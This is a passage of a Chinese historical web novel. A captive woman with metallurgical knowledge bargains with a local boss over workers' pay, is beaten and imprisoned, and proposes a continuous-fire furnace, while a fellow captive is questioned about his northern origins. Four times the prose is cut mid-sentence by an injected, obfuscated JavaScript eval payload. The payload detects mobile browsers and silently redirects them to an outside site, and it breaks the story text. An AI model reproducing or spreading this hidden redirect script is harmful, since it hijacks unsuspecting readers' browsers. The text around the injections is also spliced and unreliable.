她瞧王喜似是有话想说，便道：“怎么了。” 王喜犹豫片刻，还是开口：“前日里河边遭了人命的事儿，村里人都同上头那些对着干，你如今站出来起炉子，赵大娘便有了由头让那些人继续做苦力，不知会不会遭人记恨。” 苏冶摇头，“你想想，我若不站出来，赵大娘会就此罢休吗？” 王喜想了想，摇头。 若是肯罢休，便不会断了他们的吃食。 “那便对了。”苏冶放下手中茶杯，“用性命跟这些人耗是没用的，到头来结果都一样，不过时间早晚，既然终要站在那炉子前面，不若争些机会替自己的安危谋划，好过等他们用棍棒来敲打我们。” 说着，苏冶看向王喜，声音轻柔却带着几分以往不曾有过的锐利。 “王喜，宁死不屈是气节，但那是为了大义，不是怕死，我们若是蝼蚁，磕得头破血流也擦破不了欲要踩我们之人的一点皮，看似同他们置气，实则损耗自己罢了，不若做些实事，真正为自个儿好。” 王喜听她这样说，怔了许久，方才叹道： “以往只知你做事周全，不知你将这许多事想得透彻，不似我，只懂耕田割稻，下灶洒扫，遇事总拖你的后腿。” 苏冶见她神色黯然，轻覆上了她的手。 “事无高低，耕田的农夫也好，起灶的厨娘也罢，其间都有旁人触不到的门道，若论周全，我实则不及你十分之一，但我这人有个好处，我有一分的能耐，我当十分，有十分的能耐，我当百分，即便是我错，也不怕别人议是非。” 她笑着看向王喜，“自打与你相识，我跟你学到好些东西，只是往日不曾提起，不想你如今倒妄自菲薄了。” 王喜听她这样说，神色间浮上些柔软，“你这嘴巴厉害，尽说些好话哄我。” 苏冶瞪大眼睛，“我说的都是心里话。” “行。”王喜笑着拍了拍她的手，“就当是你这都是实话，受下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16210116|180764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，往后不再说些自轻的话。” 苏冶闻言咧嘴一笑，露出整齐地一排牙，又是一副不大正经的模样。 忽得，门口传来敲门声。 苏冶起身拉开木栓，只见门口站着赵二。 瞧见苏冶，赵二语气不善，“我们老大找你。” “哪个老大。” 若是赵玉芬，以往赵二都是同这村里人一样，称她“赵大娘”，倒不曾听过他称呼谁为老大。 忽然，苏冶脑子里闪过了一人。 果不其然，下一秒，赵二便开口。 “曹爷。” —— 自打那日被送到哑沟后，苏冶再未见过曹经的面，村里诸事似乎都是赵大娘在代他管着。 苏冶虽不晓得二人关系，也能猜到他们交集不浅，否则哑沟这般庞大的“诈骗”机构，牵扯多方利益，曹经不可能放心交给她。 绕了些路，才到了曹经在哑沟的住处。 在苏冶的想象中，曹经应当正坐在张太师椅上，手捧茶盏，掀盖轻吹，慢品香茗。 实则不然，进屋后，曹经没有品茶，也没有拿捏腔调，只坐在一张瞧着有些摇摇欲坠的木椅上，一手拨弄算盘珠子，一手奋笔疾书，皱着眉头，颇有几分苦命会计赶报表的形神。 再看这屋子，不是是不是曹经在哑沟的住所，总之十分简陋，夯土的茅草屋，屋里只一木凳木桌，外加一张歇脚的床，桌上连个用水的茶壶都没有。 觉察门口动静，曹经抬眼，只一下便收回了视线，继续忙着手上的事情。 这一幕让她想到了那日去见赵玉芬，彼时她也是手里拨弄算盘账本，与此刻的曹经格外相似。 曹经不开口，苏冶也不作声，只站在一旁等他忙完。 不多时，曹经放下了手里活计，抬眼看向她，开门见山道： “听钟老说，你有烧铁的能耐？” 苏冶点了点头，并不否认。 “你从何处习得这些？” 苏冶将前些时候编给赵玉芬他们的说辞又重复了一遍。 不料曹经并不好糊弄，继续问道： “你非本地人，可记得自何处而来。” 苏冶摇头，“前些年糟了意外，摔坏了脑子，只记得些幼年的事情。” 曹经默了片刻后，说道：“是谁同你这般说的？” 苏冶：“你晓得的，我那死了的丈夫，北边战乱，想来是他从人牙子那里买了我。” 曹经目光微凝：“你是何时摔坏了脑子？” 这事苏冶没必要作谎，便道：“约莫一年多前。” 闻言，曹经面上神情有些奇怪，继而冷笑道： “你那夫君同你说的？” 苏冶点头，随即察觉到不对劲，“你的意思是？” 曹经道：“两年前，你夫妇二人刚到曹家村的那晚上，我见过你那丈夫一面，那时你便卧在床上，头上还蒙着纱，莫不是后来又摔了一回。” 苏冶心头一震。 一年连摔两回……还都是脑子，以她成年人正常的视力和四肢控制水准来说，是极小概率的事情。 那么以大的概率来说…… 苏冶看向曹经，他和李三俩人必有一人没说实话。 15.谈判 以她和曹经如今的处境来看，曹经没必要在此事作谎，这么看，她先前的直觉是对的，李三大抵没说实话。 但她想不通，左右不过是摔了脑子，进村前和进村后又有多少差。 李三扯这个谎，定是来曹家村发生过些事情，偏偏他不想让她知道。 思绪乱飞时，曹经换了话茬。 “你既能耐大，便不必下伙房，此后同钟师傅一道，替我把着那炉子的火候。” 不想苏冶却摇了摇头。 曹经见状，微微挑眉，“甚意思？” 苏冶直视着他，不闪不避：“您去外头打听，照看炉火和在伙房当厨娘可不是一个价码，如今我被诓到这里，替您打黑工，一分银子落不着，何不挑拣个清闲些的活计。” 话音落下，曹经神色微沉，半晌没有作声。 苏冶亦沉得住气，静立原地，一言不发。 末了，他开口问道：“你想怎样？” 见引出了她的意图，苏冶便道：“既开了口，我便直说了。” 她将心里那笔账摊开来讲。 “我先前都打听过，县里的铁器铺子从各地招览来的农工一日约莫二十文，这已是最低，而像钟师傅这样的看火师傅，在官窑里，月俸有两石粮，年俸约莫千钱。” 说着，苏冶近前一步。 “我晓得自己如今处境，你诓我们到此，图的便是不花银子白用工，但我同钟师傅不一样，他用土法，一炉至多烧两日，一炉一月至多出三百公斤铁，我如今有法子，可使这铁炉但凡起火，一月不熄，出铁也能翻一番。” 说完曹经的好处，苏冶道出了自己的意图： “我不敢贪图你的分成，只是哑沟如今三十多个工人，你须付给他们一日十五文的工钱，这比县里少上许多，此番算下来，你得的好处只多不少。” 曹经看着苏冶，伸手覆上桌上的算珠，有意无意地摩挲。 “要是我不出这银子呢？” 苏冶早知他会这样说，只道： “那我便继续做厨娘，这炉火，我看不了。” 话音落下，曹经默了许久，空气中所有的声响都像是坠入了一片死湖，不起半分涟漪。 终于，有了声响，却是刺耳的大笑。 “笑煞我，没了男人的下贱寡妇，给你几分脸色，真把自己当了回事，留着性命赏你口饭吃，你就该给爷磕几个响头，如今倒算计着爷兜里的银子，既不愿看火，便赏你些棒子好好受受，免得人都以为曹某人是济世施粥的活佛。” 不管曹经言语间羞辱，苏冶面色不改，站在原地未有半分退意。 见状，曹经起身朝门口走去，不知嘱咐了些什么，再进屋时，还未来得及说上什么，便是一股力道直直将自己踹在了地上，雨点般的棍棒紧随其后落在她身上…… —— 苏冶恢复意识时，只觉着喉咙干哑如灼，身上也是火辣辣地疼。 试图动了下，幸好，四肢还健在，都是要不了命的皮肉伤。 即便如此，她一个在现代文明社会温床中生活的人，对于这种原始的皮肉折磨还是不大适应，在心里叫苦连连。 曹经，这笔账且给你几下，来日是要你还的。 想着，她环视一圈打量此处的环境，视线里的模糊渐渐散去，眼前的景象清晰了些。 这地方很暗，只有一处面积小到可以忽略不计的天窗，漏进微光，叫她勉强辨出是白日。 屋里地上堆积着些干枯的杂草，上面沾着些斑驳的血迹，不知是不是她自己的，空气中弥漫着一股子难闻的腐臭气息，想来很久没人打理过。 抬眼看去，那木门的门闩没有划上，该是从外头锁住了。 恰在此时，门口传来动静。 随着一阵嘎吱声响起，刺眼的光从门缝漏入，苏冶在暗处待久了，一时有些不适应，眯起了眼。 只是还未看清眼前人，一阵清脆的落地声后，门复又关上。 苏冶朝那声响出看去，一只陶碗搁在地上，里面盛着些水。 她上前端起那碗水，几下便见了底。 她不知道这是自己被关在这里的第几天，只知道自己还得挨上一阵。 那碗水后，门口再没有动静传来，这期间不知过了多久，总之她是一点没有进食，觉着饿得已经没了力气。 不晓得门口有没有守着人，她不能饿死在这里，总是要敲那扇门的。 她抬眼朝那道透光的缝隙看去，此时天尚未全黑，不是时候。 她提着一股劲儿，朝着茅屋角落爬了过去，捡起些杂草覆在自己身上，勉强当个被子。 睡一觉吧，睡一觉起来天就亮了，她有秒睡的技能，是个消磨时间的神助攻。 但今晚不知怎的回事，她闭上眼，眼前不再是惯常的催眠混沌，反倒是一片清晰清冷的黑，伴随着身上一阵阵传来的痛意，刺得她身上越来越无力，意识却越来越清晰。 这一晚，恐怕是睡不着了。 她索性睁开眼睛，望着有些朦胧的天花板，脑子开始冒出一些奇怪但是没有逻辑的意象。 一会儿是范徳瓦尔斯方程，一会儿是朗伯比尔定律……形态各异的符号和数字以一种抽象的结构排列在她眼前，而后又汇集成了一群以面心立方体结构聚合的原子——铁碳合金的其中一种排列方式。 在渗碳体、铁素体、奥氏体……轮番轰炸过去后，突然，脑中一阵箭羽划破长空的声音打碎了这些朦胧，钉在了她的某处神经。 一些模糊不清的片段似有意在眼前煞人的黑暗中显形，似是火光冲天，她躺在一片血海之中，周边尽是熙熙攘攘的喊杀声。 但就在她几要看清那片血色里的景象时，一切倏地归于寂静，所有的模糊被清晰的黑幕取代，她的意识似乎又变得清晰，只剩下一片空。 此时正是炎夏，她周身却传来阵阵冷意，不断打哆嗦。 她使劲抬起一只手，抓过更多茅草覆在身上，只露出一个脑袋在外面，睁着眼睛默算时辰。 夜色已经降下，却像是没有尽头，她在心里置了把滴漏，想象出规律有序的滴答声，但那声音断了一次又一次，却还是会续上。 她感觉自己的意识越来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215239|180764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越清晰，比以往任何时候都要清楚，如果它是有形状的，此刻一定已经穿过了这扇木门，将一切都刺穿，包括眼前这片无穷无尽的黯淡。 虽有些晚，白日的光终究还是拣了个时候渗了进来，最刺眼的一束打在了苏冶身上。 她先是活动了一下此刻全身上下最灵活的眼珠子，然后使出吃奶的劲扒拉掉身上的茅草，朝门口爬，此刻若有第二者在场，看她一定像条蠕动的蛐。 不过就算她是蛐，也是最灵活的那条，很快她便爬到了木门处。 稍稍活动了下有些麻的五指后，攥紧拳头，朝木门砸去，三长一短，三重一轻，听着颇有节奏。 她本想配合着“救命啊”的背景音，奈何嗓子疼，想留些力气，只能靠拳头。 终于，不知砸了多久后，那扇门开了，屋外光束打下来，落在了她身上，她用砸门的那只手挡了下，入眼是一双青布短靴。 虽虚的半死，她还是尽力移动了一下自己的脑袋，不想下巴沾上这畜生的脚气。 “还想着要工钱吗？” 曹经的声音带着几分清晨独有的高昂。 苏冶气若游丝，语气却果断。 “要。” 不想话音刚落，下巴便挨了重重一脚，疼得她牙都在打颤，幸亏她反应力尚可，没咬到舌头。 “瞧不出来你骨头硬，既如此，便再赏你些。” 说着，曹经示意身边人，棍棒就要落在她身上时，她赶忙出声阻止。 “且慢，我还没说完。” 曹经闻言抬手制止，冷眼瞧她： “你还有什么好说。” 苏冶：“之前是我异想天开，如今吃了苦头，不敢再作奢想，只是我不似钟师傅，若是指使村里诸人做事，必是没有威信，唯与我同住那几人，赌上安危同我起这第一炉铁，多些亲近，来日看火烧铁少不了他们帮扶，前日里说的份例，我不求人人能拿到，但这几人一定得有些好处。” 曹经：“说得轻巧，只这几人有，余下众人瞧见还能得了。” 他说到了点子上，在任何集体中，不患寡而患不均，向来如此。 “这点您不用操心，我会叮嘱好院里众人，必不会让这点儿银钱招摇过市，况且赵大娘做事，您多少也是放心吧。” 曹经闻言，默了片刻后，开口道：“也罢，爷是个心慈，念着你有几分能耐，你若将炉子照看好，这些人也跟着沾些光。” 听曹经这样说，苏冶在心里冷笑。 说到底，比起他挣的，这点银子杯水车薪。 但他不能给这些人，好处若是落下去，便在隐隐中抹杀了他同那些人之间的剥削关系，让那些人在心里将自个人儿的地位抬得高了些，他当然不能让这事发生。 曹经在乎的未必是那点银子，而是人心，他要将这些人心真正驯服，直到有一天他们觉得不拿工钱打黑工是曹经给他们的赏赐。 而苏冶，她从一开始就没想过曹经答应她的条件。 但她之所以让自己熬这一晚上，是因为，她想以其人之道还治其人之身，下一盘更大的棋。 16.续火 “你同曹经说，让那炉子连烧三十日不歇？” 苏冶点了点头，动作牵动伤处，疼得倒吸了一口冷气，“嘶——” 王喜见她一身狼藉，不免又生出几分心疼。 “不该为了那些银钱，落得这一身伤，如今囚在这里，攒下几个钱也……”说着，王喜想到什么，忙改口道：“不过得了银钱我心里毕竟欢喜，我问过小白，那大肉包子是城门口德胜坊买的，往后咱们手头宽裕些，你能多吃些好的。” 苏冶挨这些棒子，是替他们周全，她心下愧疚，担心苏冶难过，将这些丧气话咽了下去。 苏冶听出了她话中对自己情绪的关照，心下触动，却也不会因王喜之前的话沮丧。 “那德胜坊还有些什么吃食，日日大肉包子，再香也得腻。” 王喜笑道：“还没吃上，倒想着腻味了。” 苏冶换了躺卧的姿势，眼中透着几分光亮：“既有门路吃些好的，自然得多想想，这里日子沉闷，总要寻些盼头犒劳自个儿。” 王喜替她将药敷好，理了理衣裳，“那你有的盼了，听小白说，那德胜坊老板家里有一坛祖传老卤，香得很，来日银钱宽裕了，定叫你尝个鲜。” 一听“老卤”二字，苏冶顿时眼亮，激动之下忘了伤处，猛地翻身，却拉扯到了手肘处的伤，霎时间变了脸色，龇牙咧嘴，看得王喜心疼又好笑。 苏冶不是那种忍痛不言，习惯说“没事，我不疼”的人。 在她那里，疼就是疼，病痛散不去，嘴上也不能憋着。 不止是病痛，若非必要情况，许多东西她都不喜欢憋着，不是她不能，是她不想。 她深知有些东西不会自行消散，若是强压下去，只会在自己五脏六腑里反复磋磨，最终发酵成更大的苦楚，往往伤人伤己，不若一开始就释放出去，落得一身轻松。 “那些个心狠的，专挑脆皮的地方落棒，屁股最抗揍，一着落不下，偏往我腰上打。” 苏冶正揉着腰，便听门口来人聪夸张的叫唤。 “好我个姑奶奶，总算是把你盼回来了……” 来人聪一身干活的粗布便衣，大半都被炭火熏得黢黑，肩上搭着条汗巾，脸上也不大干净。 他话音未落，身后小白也跟着进来了，二人一般打扮，都风尘仆仆，瞧着便是刚从河边回来。 曹经一行人手脚还真是麻利，炉子刚搪好，这些牛马便被送到了工位上。 瞧见苏冶身上诸多处都缠着绷带，来人聪脸色微变，声调也不似刚才那般高亢。 “这……这是……” 王喜挑了些要紧的同他解释了一番后，来人聪猛地扑到床前，哭天抢地： “好祖宗嘞，你这是为谁辛苦为谁忙啊，竟被作践成这般模样。”说着，似还想掏出个帕子摸摸泪，奈何身上只有臭烘的汗巾，只好作罢。 苏冶在一旁看的乐呵，“我可不是你干娘，没银子留给你，倒也不必趴我床前哭孝。” 听她这样说，来人聪猛地从地上弹了起来。 “瞧这厮的嘴巴，真是个不招人疼的。” 苏冶回道：“招你疼，我还不如多挨两棍子。” “……” 王喜瞧着两人有来有回斗嘴，忽地发觉，小白刚跟着来人聪一道进来，如今却没了影儿。 “怎的白兄弟方才同你一道进来，话还没说上一句，倒不见了人。” 苏冶朝门口看去，果真不见小白。 来人聪见状嬉皮笑脸道：“定是你面目凶恶，将人吓走了。” 还不待苏冶怼回去，门口传来动静，几人看去，竟是小白又折返了回来，手里还拿着两枚小巧的瓷药瓶。 他默然上前，将药瓶交给王喜，声音清淡： “青瓶外敷，早晚各上一次，白瓶就水口服，一日一丸便可。” 苏冶有些意外，“这药是何处来的？” 王喜给她敷的药是拖钟师傅同赵大娘求来的，小白又从何处得来这些。 “早前一同带进来的。” 苏冶心下诧异，这人莫不是哆啦A梦，他们过的是物资不通的封闭生活，他却能随时随地掏出些紧俏东西。 想到先前的肉包子和今日的伤药，她诚心道： “多谢。” 一旁来人聪听着苏冶突然柔和的语气，又想到她方才同自己说话时中气十足的模样相，怀疑她是被下了降头。 小白只颔首，未再多言，放下药瓶便转身离去了。 苏冶王者他的背影，忽想到整日未见着杨千。 “对了，杨大哥呢，怎没同你们一起回来。” 来人聪道：“他和我们反着来，晚上轮值看火，明儿早我们去换他。” 苏冶点了点头。 王喜瞧着屋外星子稀疏，便道：“罢了，你也快些回去歇着吧，总归忙活了一天，明儿个还得早起。” “成，那我也不在此处磋磨了，呛了一天的灰，今儿得睡个饱觉不可。”说罢便起身离去。 来人聪离开后，王喜将被子拉开，替苏冶掖好被角。 “你也早些睡，伤还没好利索，我明日去找钟师傅，同赵大娘说说，再给你休息休息。” 不料苏冶却摇头。 “明日我同你一道出门。” 王喜：“胡闹，你这伤还没好个完全，怎能到处乱跑。” 苏冶：“腿总归没毛病，其余都是皮外伤，按时候敷药就行，我同曹经说过，得快些动手。” 王喜：“你莫不是真要让那炉子一月不熄火。” 苏冶点头：“自然。” 她有个原则，平日插科打诨、跑火车没正形都不要紧，但涉及专业根本，不有一丁点儿含糊夸大。 若不同苏冶本人打交道，但看她行事做派，大抵会觉着她是个老成持重的性子。 “如今既已搪好了炉子，还为你我挣了口饭吃，何必还要这般拼，说到底是替姓曹的做嫁衣。” “为着让他把我当回事。”苏冶笑了笑。 “让赵大娘，钟师傅，还有这村子里的人，都把我当回事。” 王喜望着她，一时无言。 “只有别人将你当回事，你说的话才能有些分量，日子才会好过些。” 嘴上虽是这么说，王喜却总觉得苏冶心里有其它打算，未必如她说的这么简单。 但她既然不愿多说，她也不问。 “你心里有主意便好，只要是你想清楚的，我都认。” 说着，王喜拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230188|180764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过一旁的药瓶，拔开塞口，倒出一丸药，就水一起递给苏冶。 “既白兄弟交代了，今夜先服一次，明儿早你踏实睡，我起了叫你。” “好。”苏冶接过水，将药服下，“你照看了我许久，也快些睡。” 王喜颔首，稍作收拾便将门闩插上，到床边熄了灯。 今夜没有茅草和腐臭味儿，只有月光透过窗棂缝隙打进来，落在她身上，柔和但不刺眼，苏冶睡了一个好觉。 —— 第二日清早，到河边时，高炉还在运作。 钟师傅站在那里盯着炉口，偶尔抬手示意，旁边六七个工人便跟着动作，添炭，拉风箱，火势忽大忽小，热浪扑在他们脸上，油汗混着炭灰，把衣领浸得发黑。 远处几棵枯柳，枝条垂向水面，纹丝不动。 虽是早上，却没人说话，只有火声、风声和河水轻响。 瞧见苏冶过来，钟师傅回身嘱咐了几句，便走了过来。 “身上怕是还没好利索，怎的就过来了。” 苏冶：“如今村里三十多张嘴要吃饭，眼下只两个炉子烧，曹大人心里怕是急，我得早些过来看看。” 钟师傅失笑，“你是真替他操心，还是拿话揶揄。” 苏冶抬了抬还泛着青紫的下巴，“自然是真替他操心。” 钟师傅瞧了一眼，无奈道：“也罢，同我来吧，照你的意思，今日只起了一炉，另一个正熄着火。” 他引着苏冶至炉旁，苏冶绕行细瞧了一圈，忽问钟师傅，“敢问您掌过多少年的火。” 钟师傅不晓得她为何突然问起这茬，末了，如实道：“七八年吧，半路出家，离行家差得远。” 苏冶颔首，她也看得出来，钟应不算是炼铁行当技艺高超的老手。 这些日子，她对哑沟里炼铁的技术流程已经大致摸清，钟应懂得炉火原理，也有些实践经验，但整体用的法子还是有些落后。 想着，苏冶道：“您可曾去过官窑？” 这话本来是个引子，苏冶想要借着引出高炉连日不熄的话头。 不想钟应却突然变了脸色，虽只短短一瞬，却被苏冶敏锐地捕捉到了。 “怎么？” “没甚。”钟应换上了惯常的温和神色，“官窑倒是不曾见识过。” 苏冶见他有意藏起方才的异常，也不点破，只继续道： “官窑里的高炉，若是操控得法，一旦起火，可续九十日不熄。” 钟师傅闻言，面露几分诧色，“竟有如此手段。” 不知为何，苏冶总觉得这会儿他讶异中有几分刻意，但她无意戳穿，只点头道： “以村里如今的炉子规制，九十日无甚可能，但若续火三十日，倒可一试。” 钟师傅：“可是要换新的烧铁法子。” 苏冶：“就用我前日起第一炉时的法子，不是从前一步出铁，分两步，先炼生铁，再炒制成熟铁。” 钟师傅：“只如此便可？” 苏冶摇头，探手覆上炉身，轻叩几下。 “若想续火，不只烧铁的法子得变，这炉子，也得改。” 钟师傅打量着眼高炉，捋须道：“如何改？” 苏冶：“加浇铸。” 17.北境 “你是说用铁范？”钟应道。 苏冶摇头，抬手虚指向炉身一侧，“非是制作铁器的范具，而是与炉身相接的通道。” 钟应蹙眉思索片刻，眼中露出明了之色。 “第一批铁烧成后，由管道而出，不待炉内冷却便添矿料，继续烧制？” 钟应到底有经验，条理清晰。 苏冶点头，“正是。” 不曾想钟应默了片刻后，却是摇头。 苏冶见他神色凝重，不由问道：“可是有什么不妥？” 钟应略作迟疑，还是说道：“浇注通道不似风箱，于这炉子而言，不易改制，况且先前此炉新搪，怕是不便再动。” 苏冶知道他的意思——这炉子缝缝补补动得太多，再动怕是要废掉。 但她心里早有成算，便道: “倘若这炉就起这最后一次呢？” 钟应闻言一怔，抬眼看向苏冶，目光中带着几分讶异。 苏冶不慌不忙，继续道:“官窑的大鉴炉时常连起百日，百日后炉体破败，便弃旧置新。” 她边说边将手轻覆在炉身上。 “这炉子我至多保它三十日不败，三十日炉火熄灭，便得置新炉。” 她转目看向钟应，语气沉静： “但您也应能算清这笔账，炉火三十日不败，省下的炭料、增余的出铁，与置新炉的钱相比，孰轻孰重？” 钟应闻言，捋须沉思片刻，末了，开口道: “怎知曹兄弟愿意购置新炉？” 苏冶笑道:“因为钱。” 钟应自然明白这笔账他能估量，若这炉火三十日不败，置新炉的钱同炭料和出铁量相比，着实不值一提。 “此事可知会过曹兄弟？”钟应道。 苏冶摇头:“只告诉过他续炉之事。” 钟应哑然，敢情这丫头竟是只拣好处说。 “你是要来个先斩后奏。” 苏冶并不否认，“横竖是往他腰包里塞银子，用什么法子无甚要紧。” 钟应道:“你怎知我不会同他讲？” 苏冶转头看他，严重含笑:“钟师傅是个明白人，告诉曹经，他若瞻前顾后，贪眼前小利，未必放得下心，只要能赚银子，何必事事知会，末了，钱落进大家伙儿腰包，自然无人计较来处。” 钟应未再接话，只凝目看向炉子，良久，叹了口气。 “既如此，便请人给这炉子加浇注。” “不必。”苏冶即时应声。 钟应神色诧异地看向她。 苏冶解释道:“我来便可，三日内便能落成。” 若是从前，钟应大抵会觉着她是口出狂言，但经历了搪炉、烧铁诸事，他多少知晓她手段非凡，只忍不住问道:“你当真只是年幼时在你父亲身边学过些？” 苏冶笑道:“我自小天资聪慧，过目不忘，这冶铁的事宜，只要过上一眼便知晓门道。” 她这话五分真五分假。 真在她的确“天资聪慧”，打小便脑子好使，却有过目便会的本事。 假在对这冶铁的门道，她的钻研绝不是留在眼睛上。 下矿、勘探、析数据，实验……前世她接手的每个环节都是精益求精。 有一次，远景区朝王坪的小型铁矿参数有一处不大重要的残缺，她导都说无关紧要，她愣是背着行李便在山脚下住了个把月，亲手勘测到了原始数据。 有些个人说，她对于数据的态度，某种程度上其实不大适合搞“学术”，但她的人生信条是：该含糊的不能太清楚，该清楚的却绝对不能含糊。 钟应听她自夸，失笑道：“罢了，此事便交予你，只管好好做，如你所言，只有铁流出去，银子流进来，此事才能落在实处。” “放心吧。” 苏冶利落应下，转身朝着不远处炉子边处走去。 她瞥见了了杨千身影，想着多日未见，该去打个招呼。 “杨大哥。” 刚来河边找钟应时，炉边或老或小便有几道目光打量她，如今同杨千打招呼，更引起众人注意。 “苏妹子来了。”杨千朗声迎上来。 身旁烧火的汉子闻言也都望来，脸色都有些变化，仿若都在说：没记错，还有印象，你便是将炉子搪好的那个苏冶，“多亏”您，我们现在才有活干…… “这几日忙，不曾同你打上照面，方才瞧着你同钟师傅说话，也没扰你们，这不，总算能唠上两句。” 苏冶并不在意周遭视线，只同杨千道：“听王喜说你轮夜班，怕是许久不曾阖眼了，换你的人可快到了？” 杨千：“想来是快了，我这精神头也不差，白日睡饱了来的，再熬上几个时辰也不妨事。” 正说着，一阵急促的脚步声自不远处传来，苏冶闻声回头，见来人聪正急匆匆往这处赶。 “来了……” 刹住脚后，他气喘吁吁。 苏冶朝他身后望了望，“小白呢，没同你一道？” 提到此，来人聪面上表情有些奇怪，左右一看后，将苏冶拉到了一旁。 “你今儿早见着他没？” 苏冶意识到了什么，说道：“没仔细瞧，怎的，找不到人了？” 来人聪点头。 “小声些。”他朝苏冶身后示意，那里还站着两个曹经派来的监工，正报剑闲聊。 苏冶道：“他昨晚可同你说过什么？” “不曾啊。”来人聪面露几分焦急，“如今这俩人在这里看着，若是他一时半会儿来不了，必定生疑。” 苏冶默了片刻后，低声道： “你先过去看火，若那俩人问起，便说我要去赵大娘处，小白同我一道扛东西，不久便来。” “这能行吗？” “放心，他们若不提起，你也莫要说。” 说着，苏冶扬声朝杨千道：“我还得往赵大娘处跑一趟，不与大哥同路了，先走一步。” 杨千闻言点头，“快些去吧，我这边还得交接下。” 苏冶颔首作别，转身离去。 —— 离了河边后，苏冶绕过碾坊，向东行去。 路过水田时，隔壁院儿孙大娘正在田里忙活，瞧见苏冶后，不似河边那些男人，脸上洋着笑同她打招呼。 “苏娘子刚从河边回来吧，瞧见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230189|180764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我家男人了没？” 苏冶点头，“正看火呢，日头毒，您也多喝些水，别着了暑气。” 孙大娘笑应，“晓得了，看你这是往赵大娘处走，我刚刚还瞧见你院儿里那个俊俏那小伙子也往那去了，你快些，兴许能遇上。” 苏冶闻言心头一动。 她们、、院儿里能被称作“小伙子”的只有小白和来人聪，但是“俊俏”一词嘛……理所当然排除后者，当然，不排除审美存在差异的情况，但来人聪此刻在河边是铁铮铮的事实。 “你说的可是个头高，皮肤白的那个？”苏冶再次确认道。 “是啊。”孙大娘点头，“我瞧得真真的，打背后喊他，他似是没听着……” 苏冶心下了然，便道:“那您先忙着，我赶一步。” 说罢疾步向东行去。 边走边想，若是想要逃跑，可不是这个方向。 孙大娘所指的方向，她再熟悉不过——正是通往赵玉芬的住处。 —— “听曹经说，你来此处为寻一人，如今寻到了吗？” 赵玉芬正抱着胳膊，仰靠椅背，若有所思地端详眼前这个好看的年轻人。 “你贸然将我换来此处，会惹人疑。” 小白语气冷峻，与平日里内敛内敛温和的模样判若两人。 赵玉芬却笑:“无妨，只说你欲要逃跑，到时挨一顿棒子，作作戏，你也扛得住。” 小白无意与她周旋，只道:“究竟何事？” 赵玉芬收敛了面上戏谑，声调转沉： “你可是北境五州人？” 小白面色骤冷，提醒道： “不该问的别问，曹经没有交代过你？” 赵玉芬并不将他的警告放在眼里，淡然道:“我不是曹经的狗，不必对他言听计从，反倒是你……” 她起身走近几步。 “曹经这些年藏的鬼越来越大，我不晓得他何时同司徒家扯上关系，但此处是豫州，萧家的地盘，司徒家篡位，得了北境五州，只是如今萧家还未归附司徒家，曹经一个县衙的芝麻小官，在此处当地头蛇有些手段便以为自己手眼通天，什么生意都敢做，莫要将自己的头悬在铡刀下还不自知。” 小白冷声道:“这些话你该同曹经说，不必借我敲打。” 赵玉芬道:“谁说我是借你敲打他。” “那你唤我来此是何用意？” “不过有些稀罕你的来历，甭管来日如何，如今你确是在我手底下做事，不知根知底，怎知哪日性命不被你牵在手上。” 小白不为所动，“曹经既敢将我送到此处，你不信他？” 赵玉芬摇头，“你不大知晓他这个人，年轻时有些困顿，是个为了往上爬不要性命的主，我跟着他做事，不自个儿顾惜着些，难不成指望他替我着想？” 小白无意多言，只道: “还是那句话，不该问的，别问。” 说罢，他转身拉开门闩，径自出屋。 赵玉芬的住处有些偏僻，到河边尚有距离，小白四下一望，正欲提气纵身时，忽听身后传来一道声音—— “你去了何处。” 18.噩梦 听到熟悉的声音，小白脚步蓦地一顿。 但只不过一霎，他转过头，神色如常道： “你怎在此处？” 苏冶细细打量着他，目光里不自觉带了几分审视，却只见他形容坦荡，无半分不自在之处。 “来人聪说你不见了，我来寻你。” 她语速不快，字字清晰，目光却始终未曾离开他的脸。 “不曾想你从赵大娘屋里出来，可是她有事难为你？” 前半句是质问，后半句是台阶，小白听得明白，接话道： “是她找我。” 